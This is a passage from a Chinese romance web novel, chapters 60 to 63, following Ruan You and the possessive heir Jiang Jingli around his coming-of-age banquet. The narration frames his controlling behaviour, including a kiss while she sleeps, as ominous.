而后,却见少年弯了弯唇角,垂睫,嗓音空冷,“你真是愚蠢到让人发笑。” 他忽然来了句。 错愕之间,晓愿就这样对上他的眼睛。 少年肩膀松靠在墙角,低头,笑意未至眼底,“你从来没入过局,却要我把他让给你。” “很可笑,不是么?” 他歪了歪头,很认真地问。 闻言,晓愿脑海嗡嗡作响。 而后,他心底怒火再起,几乎冲刷全部的理智,人群闪过惊呼里,他死死抓攥着他的衣领,再度朝他抬动起了拳头。 恰在这时,他听见了江净理很淡地出声,缓慢说着,“好了,该结束了。” 他似乎感到了无聊。 闻言,晓愿动作就这样僵在半空,心思清明过后,有种不好的预感。 与此同时,他听见了少女的声音,这让他瞬间归于清醒。 那是他先前从未听过的语气,语气清泠泠地,只有两个字,“够了。” 望去,阮柚正抱着怀里花束,看着他,闪过无措与失望,“为什么要这样,晓愿,我不明白。” “为什么,刚刚要动手。” 她垂垂眼睫,手指刮过掌心,努力让自己语气平缓一些。 晓愿愣了下,大脑一片空白,浑身发冷。 “我…” 而江净理动了动眼睫,掀起眼皮,倏然说了句不相干的话,“花很漂亮,适合送别朋友。” “送给他吧,阮柚。” 少年喉结微滚,无知觉对上她的眼睛,又缓慢笑开,“毕竟以后再也见不到了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第六十一章 真相篇|江 车内。 阮柚坐在江净理身旁。 安静弥散于空气, 她看了看他的侧脸,说了句,“对不起。” 江净理怔了怔, 笑,“你哪里对不起我了?” 阮柚有些失神。 她也不知道该怎么去说。 只觉得事情发展超出了她的控制。那一刻,她心里忽然像是凭空多了个天秤, 被迫去衡量, 做出“谁最重要”的选择。 怎么会变成这样呢。 她问晓悬,可对方只一遍遍劝告她离江净理远一点, 手里紧握的茉莉花束揉弯了,都没有发觉。 他说江净理是个疯子。 阮柚忽然觉得一切都很陌生。 最后,又好像把什么都搞砸了。 胸口闷闷的,口腔漾起些许苦涩, 她一时沉默着,内心不算平静。 并未执着收到她的回应, 江净理移开眼睛, 牵过她的手。 少年手指温度很凉, 甫一收拢, 似是被电流触了下, 泛起细细麻麻的感觉,阮柚眼睫一颤,顺势抬起眸。 车窗光影闪逝。 她的眼瞳明净透亮, 星点潋滟起微光, 那里面盛满了不解、疑惑和失落、以及对他的愧疚。 情绪毫不遮掩。 江净理看着她。 他松松手指, 展开,将她的手背放在他手心。虔诚的动作,掌心相抵, 就好似将对方的体温融化在了骨血,不分彼此。 他觉得自己的血似乎热了起来。 “没关系,阮柚。” 少年带着伤,却丝毫不现狼狈之色,反倒在笑起时,多了几分冷清的秾艳。 “他已经离开了,不要再想了。” 江净理声线无波无澜,却穿过她的手指,收拢相扣,“我们会一直在一起。” 阮柚看着他的眼睛,他似乎想起了什么,眼尾微抬着,“所以,以后多想想我吧。” 闻言,阮柚晃了晃神。 或许是密不透风的空气太宁静,也或许是他说的声音极轻,在听到这句话时,她心底些微闪过几丝异样,而身体却先一步做出了反应,宛若如梦初醒,她忽的挣开江净理的手。 而后,空气一滞。 反应过后,阮柚愣了下,眼瞳微闪,“不好意思,我刚才——” 她张了张唇,暂时失语。因为到底也找不到理由。 她为什么会有这样下意识抗拒的动作呢?面前的人不是别人,是对她最好的江净理呀。 江净理眨了下睫毛,神情寻常。 “好了。”他话语一顿,转了转腕骨手表,嗓音清冷,“不开玩笑了。” “后天上午十点,我会准时的。” 阮柚听见了他的约定时间,点了点头。 江净理却问:“你相信他说的话么?” “什么?” “他说,我是个疯子。” 他语气平静。 阮柚心跳一空,很认真地摇头,“你才不是。”甚至在初听时,感到些许荒谬。 “你更愿意相信我。” 闻言,江净理缓慢笑开,看她,“是么。” 她抿了抿唇,“他也不该动手的。” 话落,便被少年拥入臂弯怀抱。薄淡的松木气息迎面侵/占过鼻息,她颤了颤睫毛,隔着温热衣料,依稀感知到心跳声,那心跳声失序的在加快,一拍叠过一拍,分不清究竟是谁。 她的耳廓烫极了,留下了江净理的话。 少年嗓音疏淡,懒恹恹靠在她肩边,像是在耍赖,“我更重要,这就够了。” 阮柚呼吸一滞,耳根痒痒的。她还是第一次见到江净理这幅模样,有着归于本真的执拗。 某一瞬,她很想摸摸他的脑袋。 告诉他,其实不用活的那么累,那样追求完美,总有人会喜欢最真实、彻底剥开心房的他- 约定日,江净理带阮柚去挑礼裙。 他的成人礼邀请了各界名流,庄园早早开始布置,请来的设计师各司其职,连长桌摆放的插花尺寸都要反复丈量、细致入微。 就连许久不露面的江净理父母也难得露面,毕竟成人礼对于贵族而言是荣耀,也是一种无形的排面。 阮柚觉得这样很热闹。 可问起江净理时,他却反应平淡,说了句,“繁文缛节罢了,我为什么要开心。” 阮柚想了想,眼睛微闪,“有很多人见证你的成年,陪你一起度过这个重要时刻呀!” 江净理步伐停了停,看向她。 怎么比自己还期待呢。 “很多人?” “嗯。” 阮柚认真道,“多热闹啊。” 那种被爱和祝福包裹起来的感觉。 “可我脸盲。” 江净理移开视线,嗓音淡淡,“只认识你怎么办。” 阮柚一哽,同时,惊讶于他睁眼说瞎话的能力。又气又有些想笑。 而这时,听见少年再度开口,“但我也有点期待。” “我就说吧。”阮柚笑。 江净理抬了抬唇,不说话了。 阮柚很高兴江净理能带他来选礼服,因为她也想在他成人礼那天,可以穿的漂漂亮亮的,给他送上想好的祝福。 挑挑选选,上身礼服之后,分不清的夸赞瞬间淹没了她。头顶灯光流转澄白,她提了提裙摆,迈出,半信半疑望向坐在沙发的江净理。 江净理掀了掀眼皮,怔了下。 淡紫的高定礼服在她身上极致完美,银线圈圈绣过她的纤细腰肢,于灯光下蝶状薄纱勾勒出漂亮的肩颈线,甫一望去,白的透净细腻,清泠泠地,像一只破了茧的蝴蝶。 “怎么样呀?” 阮柚看了看镜子,又看了看江净理。 江净理笑开:“很好看。” 她弯了弯唇。 好巧哦,她也很喜欢。 她好喜欢这样鲜活的自己。 阮柚看着穿衣镜,全然沉浸在观赏自己的情绪世界里,未曾留意到少年说的最后那句话。 他的语气依旧很淡、很轻。却让外人听了,隐晦察觉几分怪异。 “好看到,想珍藏起来。” 回去后,阴转小雨。 阮柚看了眼天色,心叹其多变。 先前被江净理解聘的几位同伴陆陆续续都回来了,即使江净理口头上说不会改变决定,但他还是在某天,做出了他的妥协。 她觉得江净理其实是个心很软的人。 但她只会在心里这样说,回来的几人行事愈发如履薄冰,更不必说再被抓到像之前那样的错误。 但他们看见阮柚回来,还是打了招呼。 阮柚给他们带了很多小甜品,分享过后,有人舔舔唇角,忍不住问,“少爷没在这里吧?” 话落,她似乎反应过来不对,咳嗽了两声。 “被人叫走了。” 阮柚如实回答。 “我没有别的意思,阮柚。” 那人一慌,很仓促地解释,“我只是印象里,你们总在一起,关系要比一般人亲密。” “你还是别说话了吧。” “喂,你干嘛还不让我说呀!” 有人看不下去,用小甜品堵她的嘴巴,换来来回地嬉笑打闹。 阮柚安静了会儿,看着眼前这一幕。 不知为何,心里空荡荡的。 她后知后觉意识到,她们之间的关系好像不知从何时起生疏了,她也再融不进去了。 江净理曾说过,渐行渐远是关系常态。 “你只有我一个朋友就够了。” “我们,彼此。” 少年的话语在脑海游荡,声线干净,让她似乎想起那天说这句话时,昏晕的月光,和夏夜蝉鸣。 真的是这样么? 阮柚不知道,但本能觉得不该如此。 另一边。 江别盛声音冷淡:“当街和人大打出手,这就是你身为江家继承人的自觉?” 书房里,气氛冷沉的滴水。 烟燃着,又被随手捻灭,直至最后一粒火星湮灭,他才再度看向立在不远处,神情淡漠的江净理。 江净理看向他,没什么情绪。 默了默,开口,“为达目的不择手段,不是您教我的么。” 少年说的稀松平常,甚至连语气都很平静,但句句却像踩着他的骨头碾磨,江别盛对望,怒极,反倒倚靠在椅背冷笑起来。 此时此刻。 他何其笃信自己培养出一个完美继承人。 冷酷、傲慢、偏执又薄情。 甚至疯起来,能把尖刀刺向自己,卑劣而虔诚地祈求怜悯。 精彩,他差点想为他鼓掌。 “不怕那小姑娘发现你的真面目么。” 江别盛双腿交叠,语调颇为冷酷:“她和你,根本不是一个世界的人。” 江净理歪了下头,觉得好笑,“所以呢。” “她在哪儿,哪里就是我的世界。” 江别盛闻言,一时沉默。 “话说的太满,易亏。” “我会么。”江净理掀起眼皮,平静道,“您觉得我会犯和你一样的错吗?” 话落,地板响起一阵刺耳的碎落声。 半晌,少年白衬衫肩傍晕过突兀的墨水,顺着衣领浸透锁骨,却无知无觉地,连眉头都没皱一下。 江别盛眼神很冷,吐出一个字,“滚。” “别再抽烟了。” 江净理神情如常,睫毛根根拓下阴影,“不然禁烟令推行,先罚的人成了自己。” 回应他的是一声怒意横生的逆子。 看见江净理这么出了门,管家愣神之余,边吩咐着,边在心里叹气。本以为父子间关系有所回温,至少不像之前那么生疏,却没想到如今看来,完全和他想的相反。 江净理十八岁生日前一天,风和日丽。 阮柚正低头修建花园的花草,一抬眸,有人站在她面前。 “我帮你。” 江净理提议。 “不要,这是我的工作。” 她很喜欢做呢,看到整齐划一的劳动成果,也会很有成就感。 更何况—— 她还是知道江净理身份的,他怕是从来没有做过这种事吧。 “那我等你。”江净理伸手,抚了抚枝叶晨露,“别嫌我烦啊。” 少年讲话很轻,眉眼很平静,像在和叶子说话。 阮柚觉察到周遭明显灼热的视线,有些不自在,手上动作也不自觉加快了起来。 年龄增长,即便她缺人引导,也能自然而然在同人相处中渐渐觉醒性别意识。再加上先前听他们聊天,她才知道原来有人看他们居然…! 阮柚想起不久前,无意发现他们遗落在角落、私下传阅的几本同人文。 在看清标题后,瞬间面红耳赤。 例如却不限于: 《霸道少爷和他的亲亲小女仆》 《插翅难飞:惹火清冷贵少,甜心丫头哪里逃》!!! …… 一道道如摄像头隐蔽却专注的视线里,她突然不知道该怎么面对江净理。 此时,“清冷贵少”江净理察觉到她的安静,低头看过来,而后,用手背碰碰她额头,“怎么这么红。” 少年眉头微皱,嗓音也淡下来,“有没有哪里不舒服?” 阮柚眼皮跳了跳,见他的脸在眼前放大,于是条件反射地弹开。 却不期间,额头处刚好撞到少年下颌,痛感瞬间来袭,阮柚捂着额头直后退,如果不是江净理眼疾手快扶住她,她差点和刚洒过水的地面亲密接触。 眼睛雾蒙蒙的,生理性眼泪湿漉眼尾,阮柚捂着脑袋,依稀能感知到对方靠近的温度。 脑海嗡嗡成片,某一瞬间,仿佛那几行字从书中飘了出来,像小蚂蚁似的,在她脑子里缓慢爬行,怎么甩都甩不掉。 【“江净理弯下腰,万分渴望却又极度克制地注视阮柚的眼睛——”】 此时此刻。 江净理蹙眉,单手扶她后脑勺,想要察看她伤情,却无果。 他只能低下头,尽量和她轻视,但一只手还未探过去,少女却蓦地抬起脑袋,恰好和他直视,眸里是他少见的炽热真切,丢出一句话,“我不是甜心丫头!!” 第62章 第六十二章 (二更合一)真相篇/江…… 阮柚跟在江净理身边, 竭力将刚才发生的事甩去脑海。 脑海嗡嗡的,乱成一团。 她安安静静当鸵鸟,降低存在感。 内心却无比尴尬。 薄淡云雾散去, 阳光澄净柔和。 江净理走在她身边,肤色被照的几乎透明,分辨不清心情。 她安静看他, 正当她纠结要不要开口时, 他忽然问了句,“好看么?” 唔? 阮柚眨了下眼睛, 大脑短路几许。 对着他这张漂亮的脸,还是迟疑点了点头。 “嗯,好看。” 她光明正大的看,被抓包, 反倒也不心虚。只是不知道他为什么这么问。 而话落,对方默了默, 眼底浓起淡淡笑意。 江净理牵了牵唇, “下次给我看看。” 他的声线一如既往的淡, 却含着笑, 难得透出几分慵懒少年气。 阮柚闻言愣神。 须臾, 她便反应了过来,耳根瞬间爆红,像在热油滚了遍。 她义正严辞, “没有, 我没有看过那些!” “那些?” 他笑。 阮柚嘟囔:“就三四本。” “哦。” 江净理声线淡淡, “不少。” 阮柚眼皮一跳,追上去解释。却在少年安静观望下,呈越描越黑之势。 阮柚:… 麻了。 * 阮柚是在当日早晨发现礼服出问题的。再拿起它时, 它已不知何时被人剪成了碎布,孤零零堆在衣橱角落。 她第一次遇见这样的情况——这么赤裸膨胀的恶意,她沉默盯在那数秒,耳畔嗡嗡作响,指尖血液都在发凉。 江净理进去时,看到的先是她的背影。 很奇怪,即便只透过背影,他也能轻易看透她的心情。光线透窗落下,晕在她过分白皙的脖颈,她轻弯不动,像是在发呆。 他才发现她原来这么瘦,好似随时随刻都会离开。 走近后,江净理蹲下身来,“怎么了?” 阮柚回头,胡乱眨了眨眼睛,便伸手抱他。 她的脸颊贴着他的肩膀处,小动物似的赖着不走。江净理身上有让她熟悉的气息,将她包裹起来,像抓住了浮木,有了安全感。 江净理移开了视线,眼睛冷了下来。 他顺了顺阮柚的头发,生怕弄疼她,动作小心又轻柔。 阮柚在他耳后掩饰情绪,“对不起。” 她不想在这么重要的日子,给他带来任何不愉快。但她很没用,遇到这样的事,没办法完美控制自己的情绪。 只能说对不起。 江净理低头,静静地听。末了,他拎起阮柚后领,让她抬头看自己。 他问,“你对不起我什么?” 阮柚说不出所以然,她的心情一团乱麻,尤其是在被对方看见自己红着眼圈后。 好丢人。 她眨了眨眼睛,睫毛湿漉漉的扇动,让江净理忍不住去触摸。 实际上他也这么干了,指尖滑过她睫毛那刻,冰凉的触感似一瞬融在骨血,随心跳颤然跳跃,他靠的极近,也正因如此,几乎品尝了她所有的悲伤难过。 江净理看着这样的她,觉得快要被黑暗吞没,毁灭欲翻涌过心房,好似野兽啃噬而过。 “我不知道。” 阮柚心头空空的,不知道为什么会这样。 被撕碎的礼服就扔在那里,也把她所有预想的快乐都丢掉了。 而今,她只知道没有办法去参加他的成人宴了。 江净理再度开口:“你没有任何错,阮柚。” “为什么要说对不起呢。” 他同她对视。 他的眼睛漆黑,像打磨过的黑曜石潋滟生辉,此刻却浸透冷感,与他柔和的声调并不怎么相符。 阮柚怔了下,知道他在等她主动开口。 他这么聪明,其实什么都知道了。 “应该是有人在恶作剧。” 阮柚深吸一口气,站了起来,“我也会有不幸运的时候啊。” 她口吻轻松,眼里却充满落寞。 江净理走上前,胳膊勾过了她的脖颈。 动作猝不及防,阮柚甚至没有反应过来,就这样栽在了他怀里,一动不动。人被揽着,她下意识仰起脑袋,眼睫颤来颤去,看他给自己擦眼泪。 可恶,明明告诉自己不要哭的。 江净理神色寻常,只在她眼巴巴受着时,兀自顿了顿。 “换一件就好了。” 他哄着,嗓音轻磁。 阮柚小声嗯了声。 她的皮肤薄透,细嫩嫩地,一碰就留红印子,如今这么仰头看他,让他想起待开的花蕊,想藏起来。 “还有。” 江净理垂垂睫毛,放下了手,“这不是恶作剧。” 她抿抿唇,有些恍惚。 但他没有继续说下去。 不过如果阮柚继续问下去,江净理也会很乐意为她解答,他不愿见她这幅模样。精心浇养的小玫瑰,眼泪对她,应该是奢侈品。 不是恶作剧。 是在找死,才对。 他偏头,安静摸她头发。 江净理成人宴聚齐了各界名流。先前排演过很久的步骤,等到真正这天,已经半点挑不出错。 宴会厅外是蔚蓝无垠的海,咸湿浪潮扑过海礁石,在日光荡起粼粼波纹。 外面风平浪静、晴空万里。 里面则纸醉金迷、觥筹交错。 最后,江净理带她换了件礼服。礼服是瑰色收腰鱼骨裙,v领前缘装点碎钻亮片,宛若银河清辉。 “我就说,你很适合。” 江净理看了她许久,给出这样的评价。 阮柚弯了弯唇,眼睛亮晶晶,充满了感激。她很喜欢这件礼服,穿上后有种奇妙地感觉。 就好像不是自己了。 实际上,也许也有它不怎么合身的缘故。礼服偏长,有点大,阮柚撑的勉强,穿起来却是意外的好看。 渐渐长大,她的身材也开始发育,礼服裹过她的身体,衬得凹凸有致,光彩夺人。 一入场,便引起了不少打量的视线,蠢蠢欲动。 江净理看见了,挡住,突然后悔带她过来了。 阮柚却浑然不觉,新奇看来看去,她觉得自己像走进了宫殿,华丽极了。 宴会开场,江净理要和别人跳开场舞,所以只能先走。 他让她等她,不要乱跑。 阮柚很乖地点点头,她要亲眼见证重要的一天,怎么会乱跑呢。 江净理背影远去,阮柚站在宴会角落,听见有人走近的脚步声。 她下意识回头,看见一位面容有些熟悉的女生。女生烫着金色卷发,眼眶隐约泛红,藏满落寞。 她想了想,想起她是江净理同学,一面之缘。 “你不难过吗?” 女生停在她身边,随手拿起桌前香槟酒,饮了一大口。 确定她在问自己,阮柚不由疑惑,“难过什么?” 女生则看她一眼,“江净理邀请别的女生跳舞了,没和你一起。” 阮柚沉默了下来。 实际上,她想不通这两者之间有什么关联。但见对方说的这么认真,她还是忍不住想了想。 而后,摇了摇头。 “不会。” 女生沉默了下,惆怅撇嘴,“你真虚伪。” “…” 阮柚一哽,被莫名其妙说了句,也有些郁闷。 “我没有说谎。” 为什么要因为这件事难过? 女生看了她数秒,后把眼神移到她礼服,视线变得有些奇怪。 “你——” 她迟疑张了张唇,待对上她视线后,狠狠瞪了她一眼,便走开了。 阮柚简直一头雾水。 也许,对方脑回路有些问题。 开场舞江净理跳得很好,阮柚静静观望,内心生出一股发现他另一面的新奇感。 绅士守礼、又充满风度,像童话里矜贵清冷的小王子。她被自己这个想法逗笑了。 一声笑散落空气,饶是她再心粗,也能觉察到投来的视线。阮柚不喜欢被这么看着,上下打量,仿佛她是个被衡量的物品,待价而沽。 她抿抿唇,沉默挪了挪脚步。 开场舞预热后,宴会正式开始。古典音乐肆意流淌半空,阮柚看见朝自己伸过来邀舞的手,下意识便是拒绝。 她一点也不会跳舞的。 男人闻言也不恼,笑笑,变着花样从背后掏出一支玫瑰。“见到你,我就想把清晨摘得第一支玫瑰送给你。” 阮柚眨了下眼,对这意外时局搞得有些不知所措。接也不是,不接也不是。 她一时不知道该怎么面对陌生人的示好。尤其是在周围好多人都看着的情况下。 拒绝的手悬在半空时,有人却帮她做了决定。 江净理在不远处喊她名字。作为宴会主角,一举一动便引起旁人关注,即使他情绪淡淡不外露,也颇让人有种意味深长。 江父瞧过去一眼,脸色顿时不好看。 男人瞬间缩回去手,有些抱歉看她一眼。他本就是风流性子,一双眼睛看谁都深情,如今临别看她这一眼,含情脉脉地像拉着丝儿。 只有阮柚没有注意到,反倒点点头。 江净理走去时,眼睛沉了下来,也不开口说话。阮柚察觉他握自己手腕的力道,不由蹙了蹙眉头。 太重了。 “江净理…” 她忍不住叫他名字。 闻言,他偏头看她,用一种她读不懂的神色。 “怎么了?” 江净理看她,突然靠她耳边问,“玫瑰好看,还是蔷薇好看?” 阮柚眼神茫然,耳畔刮来痒痒的热汽,寸寸熏红她的皮肤。她下意识躲了躲,不明白江净理为什么要这么问。 他也没有再追问,眉眼淡淡,像只是随口一问。 没说什么,牵着她的手,带她离开了。 离开时,一道观望的视线存在感异常,让她怎么都无法忽视,但她低低脑袋,忍住没有去看。阮柚其实不太愿意被他们这么看着,她想起之前看到所谓的同人文,总觉得这样会让别人误会什么。 下意识的抗拒虽轻微,但却轻易牵扯他的神经。江净理放开她的手,空荡的琴房,海风游离过他的眼睛。他的头发长了,很柔软地搭在眉骨,敛住气质自带的冷感。 他听见阮柚问,“我们就这么离开了吗?” 她似乎疑惑他为什么要这样离开,实际上,江净理也不知道。 他只是想有个空间。 只有他和她。 闻言,他歪了下头,笑,“不可以吗?” 阮柚看了他几秒,道,“你是今天的主角。” 江净理反应淡淡,与其说他没听见,不如说他根本不在乎。这与平时的他截然相反。 他看了眼她白皙到发光的锁骨,和那道细的好似能轻易折断的脖颈,不由想起刚刚一幕。 “我和别人跳舞了,阮柚。” 江净理沉默了会儿,忽然道。 “嗯?” 阮柚不知道他为什么这么说,只能想了想道,“唔,跳得很好。” 她用词真切,眼神非常纯粹。 可对方俨然不怎么买账。 江净理一瞬不瞬看她,眼眸寸寸暗下。 他抬手,指尖勾了勾她的流苏耳饰,“你是在祝福我么。” 琴房安安静静地,只有他的一声问句。他轻着嗓,低下头越过她的瞳孔,似乎想看出别样的情绪。 可却什么也看不到。 江净理抿唇沉默时,下颌线也随之绷紧,天然上位者的威压怎么也收敛不起。一瞬间,阮柚嗅到了近乎于危险的意味,但她很快归于错觉,因为江净理,怎么可能危险呢。 她依稀闻见对方身上淡淡的酒味。很苦涩,又冷寂。 “祝福你?” 阮柚不由重复了声,“为什么要这么说?” 她不明白的时候是真的不明白。所以才会这么毫无防备的看着自己。 江净理冷清地想,也克制住了情绪。 他微微抬头,忽的道,“我想和你跳舞,阮柚。” 他说的很慢吞,压低了睫毛,隐约有种在撒娇的意味。阮柚被这个想法一惊,忍不住看了他一眼,却见他很专注地看自己。 顶着这样的目光,她没办法再沉默,“可是我不会跳呀。” 作为梦想以后当小淑女的她来说,她也不想笨拙地踩他脚。 “没关系。” 江净理掀起了眼皮,“我会教你。” 阮柚动了动唇,拒绝的话怎么也不说不出去。她不想在这么重要的一天败他的兴。 江净理是位很合格的老师。 他伸手环着她的腰,于琴房,带她寸寸更换舞步,阮柚紧张极了,努力不让自己手忙脚乱出错,但手上攥紧的力道还是出卖了她。 一抬头,便撞上他带笑的眼神,不知看了多久。 她一下子涨红了脸。 阮柚:“我就说了我不行。” “哪里不行。” 江净理低头,将她视野笼过,嗓音含混,“你跳得最好了。” 睁眼说瞎话。 阮柚抿了抿唇,却很很不争气的开心了起来。她总觉得江净理似乎有种让她开心的魔力。 半晌,他却问,“你会只和我跳舞么?” 她被问的一头雾水,没说会,也没说不会。江净理看了她几秒,放开了她的手。 他背着阳光,漂亮的下颌线不那么分明,让她看不清他此刻心情。 却能够觉察到他落在身上的目光。 阮柚把内心想法说了出来:“我不知道,但应该不会。” 江净理却并不满意这样的回答。 每当靠近她,他总觉得自己靠近了一簇焰火,很轻易便能吞噬他曾引以为傲的理智。 被人牵扯情绪,便等同有了软肋,是大忌。他却很庆幸是她,于他而言,软肋不过是敲碎了的恶骨,因爱生出血肉,融在身体永不分离。 像洗不去的刺青,刺的是她的名字。 “为什么会不知道?” 他问,低平声线,“如果我和别人在一起,你会难过么?” “如果你不理我。” 阮柚想了想,“我会难过的。” “但是我无权干涉你的交友权利,江净理。”她认真看他,或许知道他在执着于什么,也正面了这个问题。 “你会有自己的生活,我知道。” 她声音清泠泠地,完美到虚假的回答,偏偏又充满真诚。 江净理心间一寂,就这么看着她。 半晌,似嘲弄,“你比我理智多了,阮柚。” 阮柚虚虚开口,不知该说些什么。 “如果你不再特别了呢。” 他垂下眸,清冷冷的嗓音,又像在蛊惑,“我的世界也许会有别人取代你,这样你也无所谓吗?” “今后,我们每个生日,也许都不会在一起。” 这样。 你也会用一句“我知道”,一笔带过么。 阮柚听他的话,眼神缓慢寂灭了下去。不全是因此而失落,只是,她仿佛看清了自己。 在潜意识里,她习惯去接纳失去,并反复预演他们的离别,在她看来,他们总是要走的,她也是。明明江净理对她这么好,她却还是这么想。 她是不是真的有点糟糕呢。 阮柚鼻头酸涩,但很快强忍了下去。 她的沉默就这么被放大,江净理移开了目光,突然很无力。 他选择开口,眼眸疏淡,“他们在等我。” “我先过去了。” 阮柚没有挽留,她并没有挽留的理由。 从什么时候开始的呢? 她想。 也许从和他交朋友那天起,阮柚就明白,江净理不会只有她一个朋友,他的世界远比她的要开阔的多。 她也不会一直是特别的存在。 江净理不爱喝酒,今夜却喝了一杯又一杯,从不推辞。他的神情无懈可击,唇勾着薄笑,让给他敬酒的人几乎受宠若惊,以为被青眼相待。 谁都没看出他的异常。 除了江父。 阳台。 江父丢给他一个打火机,和一包半开封的烟。没有灯,只有寥落夜色,夜风卷过身后窗帘,虚虚隔绝了热闹。 江净理没动,胳肘抵着栏杆,“我是乞丐?” 江父冷笑,“还要我亲自给你点?” 他没说话,看了看夜色,“我不抽。” “她讨厌烟味。” “她?” 江父嘲讽一笑,选择伤口撒盐,“她根本不要你。” 意外的是,江净理没有说话,甚至没有丝毫反应,陷入良久沉思。 半晌,他终于开口,凉凉地没有温度,“我还是那句话。我不会犯和你一样的错误。” 江父吞吐着青白烟圈,气不打一处来。 “滚吧。” “有些事,可不是你能控制的。” 纵使多骄傲的人,也该向现实低头。 因为人最不能对抗的,恰好就是每一个不相似的灵魂。 她们鲜活生动,也同样向往自由- 宴会结束。 钟声敲响,江净理十八岁了。 对他而言,没什么感觉。不过是可以拿枪的年纪,可他讨厌见血。 黑夜放大了感官,他头疼欲裂,神经像在被践踏撕扯,剥夺他的睡眠。 他又回到失眠的状态。这时,江净理再度不受控地,想起了阮柚。 她陪着他,肩靠着肩,度过一个个失眠的夜。 他怎么会舍得放开她? 江净理自私又冷酷地想。 恰在此时,门被人敲了敲。小心翼翼地,生怕人生气似的。 他面无表情地开门,见到门前这个胆小鬼。 “你来做什么?” 他平静地问。 阮柚紧紧抿了下唇,她做了很久思想准备,才鼓足勇气敲了门。 她回去想了很久。 “我有话想对你说。” 江净理看她,“什么?” 而后,借着昏黄灯光,他看清了她的动作。 她掏出来了一叠厚厚的信,信封呈现不同的颜色材质,落在她手上,衬得皮肤愈发瓷白。 她垂睫,很小声地说,“之前,你问我,如果以后会有别人取代我的存在,我会怎么做。” 阮柚嗓音清亮,如涓涓春水,消融冰雪。 “我觉得。” 她抬头看了看他,“我应该是有私心的。” 江净理怔了下,看她。 “我不想让你就这样忘记我。”她很轻地弯唇,灯光下轮廓很柔和,“所以我写了很多信,那里有我写的信,等你生日时候,你拆开看看好不好。” “不会浪费太多时间的。” 她一顿,缓慢出声,“我只是在想,哪怕以后没有我,你也不要就这么忘了我。” 一股脑说出这些话,杂乱无章法,她不知道江净理听明白了没有,因为自己也不明白为什么要这样。很执拗,这不像她。 但是她就是想告诉他。 话落,周遭安静极了,她一时不敢去看他,只能盯着手里的信。而后,见他伸出手,才松了口气。 可下一秒,却被对方拥在怀里,一动也不能动。江净理很高,迎面气息像是吞没了她,她下意识挣了下,听他在耳畔哑声,“你哪里都不要去。” 阮柚一愣。 “我要你陪着我,就像我陪着你一样。” 江净理握紧她手里的信,声音很轻很轻,“阮柚,你别走。” 阮柚呼吸一窒,见他这样,没由来的起了悲伤。半晌,她故作轻松地笑,“可是,我没有说过我要走呀。” 江净理一动不动。 见他这样,她继续说,“我只是在假设,假设你知道吗?” 闻言,他颤了颤睫毛,道,“假设也不行。” 像小孩一样。 阮柚闻到他身上的酒味,这是喝了多少? “我又失眠了。” 江净理松开她,低头注视她的眼睛。 “你陪我,好么。” 他的眼神很疲惫,拖着倦意,眼下是灰蒙蒙的青黑。 阮柚点了点头,她不想见他这样。 江净理很久没有失眠了,先前每到失眠,她总会陪他,两人玩着睡先让对方入睡的游戏,到了最后,也分不清谁是赢家。 她觉得是自己赢了,而他则恰恰相反。 问他,他答,“但只要看见你睡着,我就很快睡着了。” 阮柚不信。她觉得自己讲的漫画故事光怪陆离,他怎么能没听睡呢。 骗人。 于是乎,她继续讲了起来,神色也越来越温柔。 究其原因,困的。 江净理听的很认真,肩膀给她靠着,听她越来越平稳的呼吸声。 他看着手里的信,想起阮柚先前说的话。 心跳也忽然失重,空了一拍,他没办法去接受没有她的未来。 那些信,也没有必要存在。 江净理将阮柚抱上了床,转身,将那摞信件丢到抽屉一角。 不再去看。 夜灯温凉,一轮弦月被树枝别开,荡起斑斑银霜。他在她床边握她的手,低头,安静注视着她。 她似梦见什么,蹙起眉,于梦中小声嘤咛,手指也跟着蜷缩了下,冰冰凉撞在他手心。 江净理敛眸,为她掖好了被角,视线定在她脸庞。 而后,犹如数不清的梦中预演那般,他微俯下了身,吻就这样落在了她的唇瓣,细细蚕食过气息,于鼻息吞吐间,很虔诚地一一舔舐殆尽。 他的耳廓染红成片,蔓延至脸庞、脖颈,却竭力屏持呼吸,克制站了起来,无人知道他究竟在想什么。 靠在墙角边,江净理徐缓喘/息,眼瞳清寂漆黑,散了指尖滚烫。 此刻,唯有他自己知道——— 他放出了心中恶鬼,只为虔诚且克制地,等待着将猎物拆吃入腹。 第63章 第六十三章 真相篇|江(三更)…… 阮柚和江净理决定去露营。 他们一起敲定好了日期, 又看好天气,就开始准备了起来。 江净理计划罗列的清晰,效率也很快, 阮柚还没能做什么,他几乎一人包揽下来,提前完成了工作, 见状, 阮柚丝毫不吝啬自己的赞美之情,满眼崇拜看他, 嘴巴也变得很甜,像只甩动尾巴蹭人打滚的长毛猫。 江净理笑了起来,每见她这样,他就忍不住想笑, 这偏偏又让她得了逞。 两人一来二回,到了最后, 连她都开始怀疑自己有当戏精的潜力。 她很喜欢看他笑。 两人露营的念头起于某日午后。 彼时, 阮柚趴在凉席地毯, 单手慵懒撑着下巴, 她的目光略过漫画书, 很认真地看可一页又一页。夏天,她常穿的是一件蓝色长裙,长裙随着两条细白小腿来回摆动, 随意垂落过了膝盖位置。 空调冷风吹着, 江净理拿薄毯给她盖上, 被她疑惑看了眼。 她像从故事抽离了出来,视线也恢复焦距。 江净理问,“你在看什么?” 阮柚对他解释, “漫画。” “讲什么的。” 阮柚闻言有些意外,同时也很乐意为他解答。 “……我觉得森林真的好美好呀,有朝一日,我一定要和最重要的人回归自然。” 边说着,她眼睛在发光。 漫画世界里,天空都是染红成片的赤霞,天线分割的白云掩过道道山峦,柔软得像童年时期最喜欢吃的棉花糖。 她喜欢那样无忧无虑的活着。 江净理知她内心所想,良久不说话。 第二天,他便抛出了这个邀约,阮柚自然欣然接受。露营是一时兴起,但刚好,他们在路上遇见了熟人。 一辆加长敞篷车速度慢下,一男生探出了头,和江净理打了声招呼。 他们一车也是准备去露营的,顺便去附近寺庙祈福。 透过车窗,见到江净理身边坐着的阮柚,他明显一愣,很快被笑意冲淡。 “好久不见呀,洋娃娃。” 被莫名其妙这么称呼,阮柚打招呼的动作都顿了一下。她抿了抿唇,眼看前面车窗升上去,也彻底消了念。 “别理他。” 江净理声线冷淡。 阮柚唔了声,她也没机会理。 那边,男生被拍了拍后脑勺。 那人力道颇有种想拍醒他的势头,还挺疼,男生是个无法无天的二世祖,瞬间怒火中烧,一回头,却见女朋友正瞪着她。 他立刻将脏话咽了下去,转而心里骂自己。草,忘了什么也不能忘了带女朋友啊!这可是他的小祖宗! 他赶忙去哄她。 